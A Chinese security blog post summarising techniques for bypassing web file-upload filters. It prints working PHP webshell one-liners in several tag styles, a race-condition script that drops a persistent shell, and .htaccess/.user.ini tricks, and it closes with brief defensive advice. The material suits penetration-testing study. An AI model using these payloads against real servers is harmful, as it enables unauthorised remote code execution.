本地JS绕过
禁用JS或删除JS语句
将上传文件的后缀名从 .php 改为 .jpg,然后通过 Burp 抓包将 .jpg 改回 .php
黑名单绕过
尝试使用不在黑名单中的后缀名
相似后缀名绕过
|
|
---|---|
|
|
|
|
|
|
|
|
大小写绕过
仅适用于windows由于匹配时区分大小写,而解析时不区分,所以可以绕过黑名单方法:抓包,改文件名,任意选择部分字符转换大小写例:test.php ----->test.Php
空格绕过
在文件名前面或者后面添加空格(主要是加在后面,因为一般过滤后缀名),此时过滤函数匹配不到,但是带有空格不影响解析
Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格,从而绕过黑名单。
“test.php” -----> “test.php ”
点绕过
与空格绕过类似,在文件后缀名后添加点,如 shell.php.
或者空格+点号绕过 如test.php . .
适用于windows系统Windows 系统下,文件后缀名最后一个点会被自动去除。Linux 系统下,文件后缀名最后一个点不会被自动去除。
::$DATA绕过
只适用于windows系统Windows系统在保存test.php::$DATA一类的文件时会自动去除文件后的::$DATA字符串,保存的文件名为test.phptest.php -------> test.php::$data注:访问时文件名后不加::$data
双写绕过
当过滤方式是删除指定字符串时可以考虑双写绕过,将文件后缀名中的关键字重复写入,如 pphphp
程序中的str_ireplace函数会将黑名单中的后缀替换为空,但是只替换了一次,因此可以使用双写绕过此函数。
防御措施:使用递归循环过滤,不使用一次过滤
.htaccess文件绕过
htaccess 文件生效前提条件为:mod_rewrite 模块开启AllowOverride All
中间件得是Apache,不支持nginx
#文件内容:<FilesMatch "test.jpg">SetHandler application/x-httpd-php</FilesMatch>#意思是 .htaccess文件可以将test.jpg文件当作php文件解析执行。
.htaccess是一个纯文本文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置
.user.ini文件绕过
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
能够利用.user.ini的条件:
1.服务器脚本语言为PHP2.服务器使用CGI/FastCGI模式3.上传目录下要有可执行的php文件
方法:
1.新建文件名为.user.ini的文件,并将内容写为:auto_prepend_file=test.txt
2.将.user.ini上传至服务器
3.新建一个文件名为test.txt的文件,并将内容写为webshell脚本
4.将test.txt上传至服务器
5.再访问上传目录下的readme.php,即可将test.txt内的内容脚本正常执行。
php.ini是php的一个全局配置文件,对整个web服务起作用而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,可以利用这个文件来构造后门和隐藏后门。
.htaccess的配置文件只能在Apache服务器中起作用.user.ini使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)
白名单绕过
MIME验证绕过
由于MIME类型可以手动修改欺骗,在过滤时若检查MIME(Content-Type)类型,可以考虑将上传文件的 Content-Type 从 application/octet-stream 改为 image/png
常见MIME类型列表:常见 MIME 类型列表 - HTTP | MDN (mozilla.org)
%00截断
利用 %00 截断文件路径,如 shell.php%00.jpg
test.php ------> test.php%00.jpg
条件是php版本<5.3 ,php.ini配置文件中 magic_quotes_gpc 为 off
原理:系统在对文件名读取的时候,如果遇到0x00就会认为读取已经结束,从而忽略后面的内容
文件头检测绕过
在数据最前面添加图片的文件头以绕过检测
后端使用getimagesize()函数来获取文件的MIME类型,此时检测的不是数据包中的content-type,而是图片的文件头
常见的图片文件头如下:
gif(GIF89a) : 47 49 46 38 39 61
jpg、jpeg : FF D8 FF
png : 89 50 4E 47 0D 0A
二次渲染绕过
上传文件后,网站会对图片进行二次处理(格式,尺寸要求等),然后生成一个新图片保存在服务器中。
因此我们可以将一个正常显示的图片上传到服务器,寻找图片被渲染之后与原始图片部分对比仍然相同的数据块部分,将webshell代码插在该部分,进行上传
方法:
-
准备图片马
-
将原图片上传,下载渲染后的图片进行对比 ,可以利用工具找相同处,在相同的地方覆盖字符串,插入一句话木马,或者恶意指令
其他绕过
条件竞争
在文件被删除前访问文件,利用时间差进行绕过
文件上传后,服务器会首先保存文件然后重命名,最后删除源文件。在文件删除之前,如果线程过大可能导致服务器处理数据变慢,因此在文件上传成功后和删除文件之间存在一个短暂的时间差(因为需要执行检查文件和删除文件的操作),攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。
方法:
先上传一个shell脚本test.php,内容为生成一个新的webshell脚本shell.php
test.php内容如下
<?phpfputs(fopen("../shell.php", "w"),'<?php @eval($_POST['cmd']); ?>');?>
当test.php上传完成后,客户端立即访问test.php,这样就会在服务端当前目录下自动生成shell.php,这时攻击者就利用了时间差完成了webshell的上传
多文件上传
上传多个文件只检查第一份文件
第一份上传合法正常文件,第二份上传木马
php其他标签绕过
<?php @eval($_POST['cmd']); ?> //正常写法<?=@eval($_POST['cmd']); ?> //短标签,适合过滤php<% @eval($_POST['cmd']); %> //asp风格<script language='php'>@eval($_POST['cmd']);</script> //<script>风格,适合过滤<?
防护建议
文件扩展名白名单校验:只允许特定类型的文件上传。
文件内容校验:检查文件内容是否符合预期。
上传文件重命名:避免使用用户提供的文件名。
隐藏上传文件路径:防止直接访问上传文件
原文始发于微信公众号(船山信安):总结一些文件上传的绕过方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论